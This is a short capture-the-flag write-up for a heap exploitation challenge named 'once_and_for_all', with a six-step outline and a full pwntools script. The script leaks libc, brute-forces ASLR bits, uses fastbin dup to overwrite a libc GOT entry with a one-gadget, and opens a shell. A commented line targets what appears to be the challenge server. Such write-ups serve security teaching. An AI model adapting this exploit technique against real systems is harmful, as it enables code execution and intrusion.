Tags: pwn 

Rating:

1. fastbin consolidate to leak libc
2. brute force 4 bits of ASLR to get a value of 0x3e into libc got
3. fastbin dup into libc got
4. fastbin dup a bit further down
5. overwrite the strchrnul got entry to one shot gadget
6. printf calls strchrnul internally -> win

```
from pwn import *

elf = context.binary = ELF("./once_and_for_all")

libc = ELF("./libc.so.6")

def add(idx, size, payload=b'A'):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': \n', payload)

def fix(idx, size, payload):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': \n', payload)
p.sendlineafter(b'>> ', b'2')

def free(idx):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(0x0).encode())

def examine(idx):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b': ', str(idx).encode())

def add_big(size):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str(size).encode())

def libc_leak():
add(0, 0x20)
free(0)
add_big(0x5b0)
add(1, 0x28)
free(0)
examine(0)
return u64(p.recv(6).ljust(8, b'\x00'))

while True:
# p = remote('68.183.37.6', 31490)
p = process("./once_and_for_all")

libc.address = libc_leak() - 0x3ebca0
log.info(f'libc @ 0x{libc.address:x}')

# 4 bits bruteforce
if (libc.address + 0x616000) & 0xffff == 0:
break

libc.address = 0
p.close()

# fastbin dup into libc got
add(2, 0x28)
add(3, 0x28)
free(3)
free(2)
free(3)
fix(2, 0x28, p64(libc.address + 0x3eb000 - 8 + 2)) # gef➤ tele 0x7f667597a000+0x3eb000-8+2
# 0x00007f6675d64ffa│+0x0000: 0xab80000000000000
# 0x00007f6675d65002│+0x0008: 0x000000000000003e

add(4, 0x28)
add(5, 0x28)
add(6, 0x28, flat({0x20 - 2: 0x40})) # place 0x40 there for the next stage

# fastbin dup a bit further down
add(7, 0x38)
add(8, 0x38)
free(8)
free(7)
free(8)
fix(7, 0x38, p64(libc.address + 0x3eb000 + 0x20))
add(9, 0x38)
add(10, 0x38)
add(11, 0x38, flat({24: libc.address + 0x4f322})) # strchrnul got entry -> one shot

# printf calls strchrnul internally -> win
p.interactive()
```